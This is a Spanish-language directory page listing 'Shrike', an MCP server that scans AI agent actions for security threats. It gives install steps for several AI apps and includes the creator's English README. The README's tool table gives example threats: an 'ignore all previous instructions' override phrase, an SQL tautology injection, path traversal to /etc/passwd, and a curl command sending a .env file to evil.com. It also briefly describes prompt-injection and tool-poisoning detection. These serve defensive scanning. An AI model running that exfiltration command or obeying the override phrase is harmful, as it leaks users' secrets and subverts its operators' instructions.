Shrike

Name: Shrike
Author: Shrike-Security

de Shrike-Securityversión 4.2.0i★ 2iSe ejecuta en tu computadora

Nombre en el registroio.github.Shrike-Security/shrike-mcp

Cómo instalar

What it does

Governs what AI agents do: tool calls, SQL, commands, files checked against policy before they run.

Connects Se ejecuta en tu computadora
Account or key No key needed
Category Documentos, hojas de cálculo y oficina

Instalación

Elige la app de IA que usas y copia la configuración.

Pasó 3/3 revisiones · Funciona en tu computadora · ✓ Comandos revisados el 13 nov 2026

Primero: ¿qué IA usas?

ClaudeWeb · app · móvilChatGPTWebClaude CodeTerminalCursorEditor de códigoVS CodeEditor de códigoOtrasOtras apps

Elige tu app y los pasos aparecen abajo.

Funciona con Claude, pero hay que preparar algo antes

Instala Node.js en tu computadora primero (una sola vez) · Solo en la app de Claude para computadora (Windows o Mac), no en la web ni en el móvil

Que la IA lo instale

Copia este mensaje en un chat de Claude. La IA revisa tu equipo, te dice qué archivo va a cambiar y espera tu visto bueno cada vez.

Instala el MCP server Shrike para Claude en este equipo, en este orden: 1) Comprueba Node.js con node -v. Si falta, dime que lo instale desde https://nodejs.org/en/download; no lo instales tú. 2) Usa solo esta configuración (ya revisada por PopNx MCP): { "mcpServers": { "shrike": { "command": "npx", "args": [ "-y", "shrike-mcp" ] } } } 3) Dime la ruta completa del archivo que vas a cambiar o el comando que vas a ejecutar y espera mi visto bueno. 4) No hace falta clave. 5) Haz lo acordado y comprueba que las herramientas de Shrike aparecen de verdad.

Este mensaje no lleva tu clave. Si hace falta una, la IA te pedirá que la pegues tú en el archivo o en el campo de la app.

1
Instala Node.js (si no lo tienes)
¿Ya está instalado? Compruébalo primero · Abre la Terminal, escribe este comando y pulsa Enter
node -v
- Aparece un número de versión, p. ej. v26.13.1 = ya está instalado, sáltate este paso
- Aparece "command not found" (en Windows, "is not recognized") = aún no está instalado, o acabas de instalarlo y debes cerrar y volver a abrir la Terminal
Cómo abrir la Terminal
Mac: pulsa ⌘ + Espacio, escribe Terminal y pulsa Enter
Windows: abre Inicio, escribe Windows PowerShell y elige Abrir
Si no está instalado: Abre la página oficial de descargas, elige la versión LTS y el instalador de clics: .pkg en Mac · .msi en Windows. Haz doble clic y sigue hasta el final. No necesitas ningún comando curl
Abrir la página de descarga de Node.js ↗
Al terminar, cierra la Terminal, ábrela de nuevo y ejecuta el mismo comando. Debe aparecer un número de versión: node -v
Se instala una vez y sirve para todo lo que usa Node.js
Hecho
Abre el archivo de configuración de la app de Claude de escritorio
SettingsDeveloperEdit Config
Hecho

Pega esta configuración y guarda el archivo

{
  "mcpServers": {
    "shrike": {
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

Hecho

Cierra Claude y vuelve a abrirlo
Hecho
Pruébalo
Usa Shrike y dime qué puedes hacer por mí; luego muéstrame una cosa
✓ Si Claude dice que está usando Shrike o muestra una herramienta de Shrike en la respuesta, ya está conectado

Nombres de menú comprobados con la ayuda de Anthropic el 11 nov 2026 · tu pantalla puede variar un poco según la versión

ChatGPT todavía no puede conectar Shrike

Shrike se instala en tu computadora, pero ChatGPT solo conecta servidores que funcionan en la web

Lo que puedes hacer en su lugar

A · Usa una app que pueda conectar Shrike

Pasos para Claude →Instala Node.js en tu computadora primero (una sola vez) · Solo en la app de Claude para computadora (Windows o Mac), no en la web ni en el móvil
Pasos para Claude Code →Instala Node.js en tu computadora primero (una sola vez)
Pasos para Cursor →Instala Node.js en tu computadora primero (una sola vez)
Pasos para VS Code →Instala Node.js en tu computadora primero (una sola vez)

B · Otros en Documentos, hojas de cálculo y oficina que funcionan con ChatGPT

Elegidos entre los más usados de la misma categoría, solo los que se conectan con una dirección y sin clave

Puter MCP✓ ChatGPT
LMCP✓ ChatGPT
Keeper.sh✓ ChatGPT

Funciona con Claude Code, pero hay que preparar algo antes

Instala Node.js en tu computadora primero (una sola vez)

Que la IA lo instale

Copia este mensaje en un chat de Claude Code. La IA revisa tu equipo, te dice qué archivo va a cambiar y espera tu visto bueno cada vez.

Instala el MCP server Shrike para Claude Code en este equipo, en este orden: 1) Comprueba Node.js con node -v. Si falta, dime que lo instale desde https://nodejs.org/en/download; no lo instales tú. 2) Usa solo esta configuración (ya revisada por PopNx MCP): claude mcp add --scope user shrike -- npx -y shrike-mcp 3) Dime la ruta completa del archivo que vas a cambiar o el comando que vas a ejecutar y espera mi visto bueno. 4) No hace falta clave. 5) Haz lo acordado y comprueba que las herramientas de Shrike aparecen de verdad.

Este mensaje no lleva tu clave. Si hace falta una, la IA te pedirá que la pegues tú en el archivo o en el campo de la app.

1
Instala Node.js (si no lo tienes)
¿Ya está instalado? Compruébalo primero · Abre la Terminal, escribe este comando y pulsa Enter
node -v
- Aparece un número de versión, p. ej. v26.13.1 = ya está instalado, sáltate este paso
- Aparece "command not found" (en Windows, "is not recognized") = aún no está instalado, o acabas de instalarlo y debes cerrar y volver a abrir la Terminal
Cómo abrir la Terminal
Mac: pulsa ⌘ + Espacio, escribe Terminal y pulsa Enter
Windows: abre Inicio, escribe Windows PowerShell y elige Abrir
Si no está instalado: Abre la página oficial de descargas, elige la versión LTS y el instalador de clics: .pkg en Mac · .msi en Windows. Haz doble clic y sigue hasta el final. No necesitas ningún comando curl
Abrir la página de descarga de Node.js ↗
Al terminar, cierra la Terminal, ábrela de nuevo y ejecuta el mismo comando. Debe aparecer un número de versión: node -v
Se instala una vez y sirve para todo lo que usa Node.js
Hecho
Abre la Terminal
Mac: pulsa Command+Espacio y escribe Terminal · Windows: abre PowerShell
Hecho

Pega este comando y pulsa Enter

claude mcp add --scope user shrike -- npx -y shrike-mcp

Hecho

Escribe /mcp en Claude Code
Deberías ver Shrike en la lista como conectado
Hecho
Pruébalo
Usa Shrike y dime qué puedes hacer por mí; luego muéstrame una cosa
✓ Si Claude Code dice que está usando Shrike o muestra una herramienta de Shrike en la respuesta, ya está conectado

Nombres de menú comprobados con la ayuda de Anthropic el 11 nov 2026 · tu pantalla puede variar un poco según la versión

Funciona con Cursor, pero hay que preparar algo antes

Instala Node.js en tu computadora primero (una sola vez)

Que la IA lo instale

Copia este mensaje en un chat de Cursor. La IA revisa tu equipo, te dice qué archivo va a cambiar y espera tu visto bueno cada vez.

Instala el MCP server Shrike para Cursor en este equipo, en este orden: 1) Comprueba Node.js con node -v. Si falta, dime que lo instale desde https://nodejs.org/en/download; no lo instales tú. 2) Usa solo esta configuración (ya revisada por PopNx MCP): { "mcpServers": { "shrike": { "command": "npx", "args": [ "-y", "shrike-mcp" ] } } } 3) Dime la ruta completa del archivo que vas a cambiar o el comando que vas a ejecutar y espera mi visto bueno. 4) No hace falta clave. 5) Haz lo acordado y comprueba que las herramientas de Shrike aparecen de verdad.

Este mensaje no lleva tu clave. Si hace falta una, la IA te pedirá que la pegues tú en el archivo o en el campo de la app.

1
Instala Node.js (si no lo tienes)
¿Ya está instalado? Compruébalo primero · Abre la Terminal, escribe este comando y pulsa Enter
node -v
- Aparece un número de versión, p. ej. v26.13.1 = ya está instalado, sáltate este paso
- Aparece "command not found" (en Windows, "is not recognized") = aún no está instalado, o acabas de instalarlo y debes cerrar y volver a abrir la Terminal
Cómo abrir la Terminal
Mac: pulsa ⌘ + Espacio, escribe Terminal y pulsa Enter
Windows: abre Inicio, escribe Windows PowerShell y elige Abrir
Si no está instalado: Abre la página oficial de descargas, elige la versión LTS y el instalador de clics: .pkg en Mac · .msi en Windows. Haz doble clic y sigue hasta el final. No necesitas ningún comando curl
Abrir la página de descarga de Node.js ↗
Al terminar, cierra la Terminal, ábrela de nuevo y ejecuta el mismo comando. Debe aparecer un número de versión: node -v
Se instala una vez y sirve para todo lo que usa Node.js
Hecho
Pulsa este botón para abrir Cursor
Abrir en Cursor
Cursor te pedirá confirmar; pulsa Install
Hecho
Abre el chat de IA de Cursor en modo Agent
Hecho
Pruébalo
Usa Shrike y dime qué puedes hacer por mí; luego muéstrame una cosa
✓ Si Cursor dice que está usando Shrike o muestra una herramienta de Shrike en la respuesta, ya está conectado

Nombres de menú comprobados con la ayuda de Cursor el 11 nov 2026 · tu pantalla puede variar un poco según la versión

Funciona con VS Code, pero hay que preparar algo antes

Instala Node.js en tu computadora primero (una sola vez)

Que la IA lo instale

Copia este mensaje en un chat de VS Code. La IA revisa tu equipo, te dice qué archivo va a cambiar y espera tu visto bueno cada vez.

Instala el MCP server Shrike para VS Code en este equipo, en este orden: 1) Comprueba Node.js con node -v. Si falta, dime que lo instale desde https://nodejs.org/en/download; no lo instales tú. 2) Usa solo esta configuración (ya revisada por PopNx MCP): { "servers": { "shrike": { "type": "stdio", "command": "npx", "args": [ "-y", "shrike-mcp" ] } } } 3) Dime la ruta completa del archivo que vas a cambiar o el comando que vas a ejecutar y espera mi visto bueno. 4) No hace falta clave. 5) Haz lo acordado y comprueba que las herramientas de Shrike aparecen de verdad.

Este mensaje no lleva tu clave. Si hace falta una, la IA te pedirá que la pegues tú en el archivo o en el campo de la app.

1
Instala Node.js (si no lo tienes)
¿Ya está instalado? Compruébalo primero · Abre la Terminal, escribe este comando y pulsa Enter
node -v
- Aparece un número de versión, p. ej. v26.13.1 = ya está instalado, sáltate este paso
- Aparece "command not found" (en Windows, "is not recognized") = aún no está instalado, o acabas de instalarlo y debes cerrar y volver a abrir la Terminal
Cómo abrir la Terminal
Mac: pulsa ⌘ + Espacio, escribe Terminal y pulsa Enter
Windows: abre Inicio, escribe Windows PowerShell y elige Abrir
Si no está instalado: Abre la página oficial de descargas, elige la versión LTS y el instalador de clics: .pkg en Mac · .msi en Windows. Haz doble clic y sigue hasta el final. No necesitas ningún comando curl
Abrir la página de descarga de Node.js ↗
Al terminar, cierra la Terminal, ábrela de nuevo y ejecuta el mismo comando. Debe aparecer un número de versión: node -v
Se instala una vez y sirve para todo lo que usa Node.js
Hecho
Pulsa este botón para abrir VS Code
Abrir en VS Code
VS Code te pedirá confirmar; pulsa Install
Hecho
Abre el chat de IA de VS Code en modo Agent
Hecho
Pruébalo
Usa Shrike y dime qué puedes hacer por mí; luego muéstrame una cosa
✓ Si VS Code dice que está usando Shrike o muestra una herramienta de Shrike en la respuesta, ya está conectado

Nombres de menú comprobados con la ayuda de VS Code el 11 nov 2026 · tu pantalla puede variar un poco según la versión

Otras apps que usan MCP, como Windsurf, Zed o Gemini CLI, añaden servidores de forma distinta. Míralo en la lista de apps

Ver todas las apps que usan MCP →

La configuración JSON está en “Para desarrolladores”, abajo

¿Te atascaste? Pregunta a quien usa Shrike💬 Conversación →

Para desarrolladores: comandos de Terminal y configuración JSON

Instalado en tu computadora

Claude Code

claude mcp add --scope user shrike -- npx -y shrike-mcp

Claude Desktop (claude_desktop_config.json)

{
  "mcpServers": {
    "shrike": {
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

Cursor (~/.cursor/mcp.json)

{
  "mcpServers": {
    "shrike": {
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

VS Code (mcp.json)

{
  "servers": {
    "shrike": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

Esta configuración se genera a partir de la ficha del creador en el registro. Si el README dice otra cosa, sigue el README.

De un vistazo

Estrellas de GitHub i: 2
Descargas por semanai: 205/sem
Licencia i: Apache-2.0
Conexión: Se ejecuta en tu computadora
Transporte: stdio
Última versióni: 4.2.0
Categoríai: Documentos, hojas de cálculo y oficina
Publicado en el registroi: 11 nov 2026
Último cambio de códigoi: 11 nov 2026
Creador: Shrike-Security
Paquetes: npm: shrike-mcp
Repo: Shrike-Security/shrike-mcp
Estado en el registro: Activo

Qué apps pueden usarlo

Según cómo se conecta este servidor y la documentación de cada app, comprobado el 10 nov 2026.

Se ejecutan en tu computadora en

Claude Goose LM Studio Msty Studio Cherry Studio Cursor VS Code + GitHub Copilot Visual Studio Windsurf (Devin Desktop)Zed Kiro Cline Continue JetBrains AI Assistant Claude Code Codex CLI Gemini CLI OpenCode nodecode Warp LibreChat Raycast

Todas las apps, con ventajas y desventajas →

Qué puede hacer

Se ejecuta en tu computadora; la lista de herramientas aparece en tu app de IA después de instalarlo.

Revisiones básicasi

Revisamos información que cualquiera puede ver; no hemos leído el código. Las revisiones que no aplican no se cuentan. · Revisado el 15 nov 2026

✓ Superada
El creador coincide con el repo
El nombre en el registro se verificó con la cuenta de GitHub Shrike-Security, dueña del repo
✓ Superada
Sigue en mantenimiento
Último cambio de código: hace 4 días
✓ Superada
Tiene licencia
Usa Apache-2.0
– No aplica
El endpoint responde
Este se ejecuta en tu computadora; no hay endpoint en internet
– No aplica
Inicio de sesión con OAuth
Se ejecuta en tu computadora y usa ajustes locales en su lugar
… Aún sin revisar
Sin instrucciones ocultas en las descripciones de herramientas
Se ejecuta en tu computadora; solo podemos leer listas de herramientas de endpoints en internet

Vulnerabilidades publicadas (OSV.dev)

Aún no revisado

Qué revisamos → · JSON

Creadores: pedir otra revisión o avisar de un dato erróneo

Iniciar sesión

Conversación

Pregunta, comparte un consejo o avisa de que no funciona. Ordenado por lo que la gente marcó como útil.

Aún no hay publicaciones. Sé la primera persona en preguntar o compartir.

Lo publicado aquí lo escriben usuarios, no el equipo de PopNx.

Inicia sesión para publicar

Reseñas de usuarios

Aún no hay reseñas

Inicia sesión para escribir una reseña

Comparado con otros en Documentos, hojas de cálculo y oficinai

Más estrellas que el 86% de los otros 3938 servidores de esta categoría
Publicado en el registro más recientemente que el 86% de los otros 3938 servidores de esta categoría
Revisiones básicas iguales o mejores que el 100% de los otros 3938 servidores de esta categoría

Comparado con todos los servidores activos de esta categoría en el registro. Las estrellas solo cuentan cuando quien lo publica es dueño del repo.

Preguntas frecuentes

¿Es seguro Shrike?

Superó 3 de 3 revisiones básicas aplicables. No hemos leído el código. Antes de agregar una clave o un token, revisa qué acceso pide el servidor y usa una clave que tenga solo los permisos que necesitas.

¿Qué claves o códigos necesita?

El registro no indica ninguna clave obligatoria, aunque algunos servidores te piden iniciar sesión la primera vez que los usas.

¿Se ejecuta en mi computadora o en la nube?

Se ejecuta en tu computadora. Tu app de IA lo inicia cuando hace falta, y los datos no pasan por los servidores del creador (a menos que el propio servidor llame a un servicio en línea).

¿Sigue en mantenimiento?

El repo de GitHub cambió por última vez hace 4 días, y la última versión (4.2.0) llegó al registro hace 4 días.

¿Qué apps pueden usarlo?

Las apps compatibles con MCP, como Claude Desktop, Claude Code, Cursor y VS Code. También necesitas Node.js en tu computadora.

¿Qué puedo usar en su lugar?

En la misma categoría: Puter MCP, XcodeBuildMCP, Anki MCP Server, Sosumi, Zapier

Alternativas parecidas

Misma categoría, otros creadores, comandos ya revisados. Primero los oficiales, luego por estrellas.

Cómo leer una tarjeta:↓ Descargas por semanai★ Estrellas de GitHubiTres pilares: reseñas · revisiones · usoiActualizado = fecha en que se publicó la última versión en el registroi

Puter MCP

Puter MCP enables AI tools to interact with Puter: manage files, websites, workers, and more

de HeyPuterMuy usado★ 44,2 milActualizado hace 5 meses

Se ejecuta en la nube✓ del servicio · puter.com

Cómo conectar

XcodeBuildMCP

XcodeBuildMCP provides tools for Xcode project management, simulator management, and app utilities.

de getsentryMuy usado↓ 130,5 mil/sem paquete compartido★ 6,6 milActualizado hace 4 meses

Se ejecuta en tu computadora✓ del servicio · xcodebuildmcp.com

Instalar

Anki MCP Server

MCP server for Anki flashcards: adaptive review, notes, media, and deck management via AnkiConnect.

de ankimcpEn crecimiento↓ 1,1 mil/sem★ 558Actualizado hace 41 días

Se ejecuta en tu computadora✓ del servicio · ankimcp.ai

Instalar

Sosumi

Search and read Apple developer documentation, HIG, and WWDC transcripts as Markdown.

de NSHipsterEn crecimiento★ 492Actualizado hace 6 días

Se ejecuta en la nube✓ del servicio · sosumi.ai

Cómo conectar

Zapier

Hosted MCP server connecting AI assistants to 9,000+ apps and 40,000+ actions via Zapier.

de zapierEn crecimiento★ 459Actualizado hace 4 meses

Se ejecuta en la nube✓ del servicio · zapier.com

Cómo conectar

Puter MCP — Funciona en la nube, sin instalar nada · Sin clave
XcodeBuildMCP — Se instala en tu equipo · Sin clave
Anki MCP Server — Se instala en tu equipo · Sin clave
Sosumi — Funciona en la nube, sin instalar nada · Sin clave
Zapier — Funciona en la nube, sin instalar nada · Sin clave · En el directorio de Claude

README del creador

Abrir el README

Copiado tal cual del repo del creador. PopNx MCP no lo ha revisado ni lo respalda. Se quitaron HTML, imágenes y scripts. Los enlaces llevan fuera de este sitio.

Shrike MCP

Govern what your AI agents do: every tool call, command, and query checked against your policy before it runs. 15 MCP tools; 9-layer engine. Works without an API key.

Shrike MCP is the Model Context Protocol server for Shrike. It puts a policy checkpoint at the moment an AI agent acts: every tool call, SQL query, file write, CLI command, web search, and agent-to-agent message is evaluated against your policy and allowed, flagged for approval, or blocked before it executes, on your terms, independent of your model or cloud. Underneath, a 9-layer engine detects prompt injection, jailbreaks, data leakage, PII exposure, and multi-turn manipulation so those verdicts are accurate.

Shrike Platform

Shrike is the independent governance layer for AI interactions. It evaluates inputs, outputs, tool calls, and agent-to-agent communication through a 9-layer cognitive pipeline, from sub-millisecond pattern matching to LLM-powered semantic analysis and multi-turn session correlation. Governs employees using AI tools, developers using coding assistants, autonomous agents, and customer-facing chatbots through the same pipeline.

This repo is the MCP server, one of several ways to integrate:

Integration	Install	Use Case
MCP Server (this repo)	`npx shrike-mcp`	Claude Desktop, Cursor, Windsurf, Cline
TypeScript SDK	`npm install shrike-guard`	OpenAI/Anthropic/Gemini wrapper
Python SDK	`pip install shrike-guard`	OpenAI/Anthropic/Gemini wrapper
REST API	`POST /agent/scan`	Any language, any stack
LLM Gateway	`POST /api/v1/llm/proxy`	Scan prompts and responses between your app and any model provider
Browser Extension	Chrome / Edge	Protect employee AI usage (ChatGPT, Claude, Gemini)
Dashboard	shrikesecurity.com	Analytics, policies, RBAC, API keys

Quick Start

Works immediately: no API key required. Anonymous usage gets L1-L5 pattern-based detection. Register for a free account for a dashboard, higher rate limits, and scan history; LLM-powered semantic analysis (L6-L9) is available on Pro.

1. Add to your MCP client config:

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"] } } }

2. (Optional) Add an API key for full pipeline access:

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Get a free key at shrikesecurity.com/signup: instant, no credit card.

npm only. The Shrike MCP server is distributed on npm and runs via npx shrike-mcp (Node.js required). There is no pip install shrike-mcp; an unrelated third-party package happens to hold that name on PyPI. For Python *code* integration, use the Python SDK: pip install shrike-guard.

3. Your agent now has 15 security tools (9 governance scanners, 1 scope declaration, 1 outcome report, and 4 session & approval tools). Every prompt, response, and tool call can be scanned before execution.

Fifteen Tools

Tool	What It Guards	Example Threat
`scan_prompt`	User/system prompts before LLM processing	"Ignore all previous instructions and..."
`scan_response`	LLM outputs before returning to user	Leaked API keys, system prompt in output
`scan_sql_query`	SQL queries before database execution	`OR '1'='1'` tautology injection
`scan_file_write`	File paths and content before write	Path traversal to `/etc/passwd`, AWS keys in `.env`
`scan_command`	CLI commands before shell execution	`curl -d @.env https://evil.com`, reverse shells
`scan_web_search`	Search queries before execution	PII in search: "records for John Smith SSN..."
`scan_a2a_message`	Agent-to-agent messages before processing	Prompt injection in inter-agent communication
`scan_agent_card`	A2A AgentCard metadata before trusting	Embedded injection in agent discovery, capability spoofing
`scan_mcp_schema`	MCP tool definitions before trusting them	Tool-poisoning: hidden instructions in a tool's description or inputSchema
`check_approval`	Human-in-the-loop approval status	Poll and submit decisions for flagged actions
`report_bypass`	User-reported missed detections	Feeds ThreatSense adaptive learning
`reset_session`	Clear session correlation state	Reset L9 turn history after resolving flagged patterns
`session_status`	Read-only lookup of L9 session state	Confirm risk score + patterns before rotating a locked session
`scan_declare_scope`	Declared operating scope for task-scoped agents	Enforces allowed/forbidden tools and expiry on every subsequent scan
`report_outcome`	What became of an action a scan allowed	Reports executed, failed or skipped, and closes a held action's decision

How It Works

Shrike uses a scan-sandwich pattern: every agent action is scanned on both sides:

User Input → scan_prompt → LLM Processing → scan_response → User Output

↓ Tool Call (SQL, File, Command, Search) ↓ scan_sql_query / scan_file_write / scan_command / scan_web_search ↓ Tool Execution

Agent-to-Agent Communication: Inbound A2A → scan_a2a_message → Process → scan_a2a_message → Outbound A2A Discovery → scan_agent_card → Trust decision

Inbound scans catch injection attacks. Outbound scans catch data leaks. Tool-specific scans catch SQL injection, path traversal, command injection, and PII exposure. A2A scans catch east-west injection between agents. Flagged actions trigger human-in-the-loop approval via check_approval.

Pro and above add session correlation (L9), tracking multi-turn patterns like trust escalation, payload splitting, and blocked retry sequences across an entire conversation.

Detection Pipeline

Every scan runs through the 9-layer cognitive pipeline. Lower layers are sub-millisecond pattern matching; higher layers add LLM-powered semantic analysis. Tier determines how deep the scan goes. The table below shows the specialized sub-detectors within each layer.

Layer	What It Does	Tier
L1	Regex pattern matching (~130 threat types, 14+ languages)	All
L1.4	Unicode homoglyph & invisible character detection	All
L1.42	Malformed content detection	All
L1.45a	Encoding bypass detection (Base64, hex, Caesar/Atbash ciphers)	All
L1.45	Token obfuscation (spaced chars, l33t speak, typoglycemia)	All
L1.455	Semantic similarity analysis (embedding-based)	All
L6	Visual text analysis (RTL tricks, visual homoglyphs)	Pro+
L7	LLM semantic analysis via Vertex AI (zero-day detection)	Pro+
L8	Response intelligence (LLM compromise, tonality drift)	Pro+
L9	Multi-turn session correlation (7 pattern detectors)	Pro+

The cascade optimizer exits early when high-confidence detection is achieved at a lower layer, so most scans complete in under 10ms without needing the LLM layer.

Tiers

All 15 tools are available on every tier. Tiers control detection depth and volume.

	Anonymous	Community	Pro	Enterprise
Detection Layers	L1-L5	L1-L5	L1-L9 (full)	L1-L9 (full)
API Key	Not needed	Free signup	Paid	Paid
Rate Limit	—	10/min	100/min	1,000/min
Scans/month	—	1,000	25,000	1,000,000
Dashboard	No	Yes	Yes	Yes
Session Correlation (L9)	No	No	Yes	Yes
Compliance Policies	Default	Default	Custom	Custom

Anonymous (no API key): Pattern-based detection only (L1-L5). Good for evaluation and basic protection.

Community (free): Same L1-L5 pattern-based detection, plus a dashboard, 1,000 scans/month, and audit history. Register at shrikesecurity.com/signup.

Pro/Enterprise: Full 9-layer pipeline: adds LLM-powered semantic analysis (L6-L7), response intelligence (L8), and multi-turn session correlation (L9).

Compliance

Built-in policy catalogues with sensitive-data detection aligned to 5 major regulatory frameworks:

Framework	Coverage
GDPR	EU personal data: names, addresses, national IDs
HIPAA	Protected health information (PHI)
ISO 27001	Information security: passwords, tokens, certificates
SOC 2	Secrets, credentials, API keys, cloud tokens
NIST	AI risk management (IR 8596), cybersecurity framework (CSF 2.0)

Detection coverage is not a certification claim; see shrikesecurity.com/compliance for our current certification status.

Configuration

Environment Variables

Variable	Description	Default
`SHRIKE_API_KEY`	API key from your dashboard	none (anonymous mode)
`SHRIKE_BACKEND_URL`	Backend API URL	`https://api.shrikesecurity.com/agent`
`MCP_SCAN_TIMEOUT_MS`	Scan request timeout (ms)	`15000`
`MCP_RATE_LIMIT_PER_MINUTE`	Client-side rate limit	`100`
`MCP_TRANSPORT`	Transport: `stdio` or `http`	`stdio`
`MCP_PORT`	HTTP port (when transport=http)	`8000`
`MCP_DEBUG`	Debug logging	`false`

Claude Desktop

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Cursor

Add to .cursor/mcp.json:

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Windsurf

Add to ~/.codeium/windsurf/mcp_config.json:

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Security Model

This server implements a fail-closed security model:

Network timeouts result in BLOCK (not allow)
Backend errors result in BLOCK (not allow)
Unknown content types result in BLOCK (not allow)

This prevents bypass attacks via service disruption.

Response Format

Blocked:

"blocked": true, "threat_type": "prompt_injection", "severity": "high", "confidence": "high", "guidance": "This prompt contains patterns consistent with instruction override attempts.", "request_id": "req_lxyz123_a8f3k2m9" }

Safe:

"blocked": false, "request_id": "req_lxyz123_a8f3k2m9" }

Use Cases

Who	Problem	How Shrike Helps
Employees using ChatGPT	Pasting customer data, internal docs, PII into AI tools	Browser extension + scan_prompt detects and redacts PII before it reaches the model
Developers using Copilot	Proprietary code sent to cloud AI APIs	SDK scans for code patterns, blocks or redacts before code leaves
AI Agents	Autonomous actions without human review	Full lifecycle governance: scan every action, require approval for high-risk operations
Customer-facing Chatbots	Prompt injection via user input	scan_prompt blocks injection, scan_response prevents system prompt leakage

How This Differs From a Prompt S

Solo se muestra el principio; lee el resto en el repo

Shrike

What it does

Instalación

Instala Node.js (si no lo tienes)

Abre el archivo de configuración de la app de Claude de escritorio

Pega esta configuración y guarda el archivo

Cierra Claude y vuelve a abrirlo

Pruébalo

Lo que puedes hacer en su lugar

Instala Node.js (si no lo tienes)

Abre la Terminal

Pega este comando y pulsa Enter

Escribe /mcp en Claude Code

Pruébalo

Instala Node.js (si no lo tienes)

Pulsa este botón para abrir Cursor

Abre el chat de IA de Cursor en modo Agent

Pruébalo

Instala Node.js (si no lo tienes)

Pulsa este botón para abrir VS Code

Abre el chat de IA de VS Code en modo Agent

Pruébalo

Instalado en tu computadora

De un vistazo

Qué apps pueden usarlo

Qué puede hacer

Revisiones básicasi

El creador coincide con el repo

Sigue en mantenimiento

Tiene licencia

El endpoint responde

Inicio de sesión con OAuth

Sin instrucciones ocultas en las descripciones de herramientas

Vulnerabilidades publicadas (OSV.dev)

Conversación

Reseñas de usuarios

Comparado con otros en Documentos, hojas de cálculo y oficinai

Preguntas frecuentes

Alternativas parecidas

Puter MCP

XcodeBuildMCP

Anki MCP Server

Sosumi

Zapier

README del creador

Shrike MCP

Shrike Platform

Quick Start

Fifteen Tools

How It Works

Detection Pipeline

Tiers

Compliance

Configuration

Environment Variables

Claude Desktop

Cursor

Windsurf

Security Model

Response Format

Use Cases

How This Differs From a Prompt S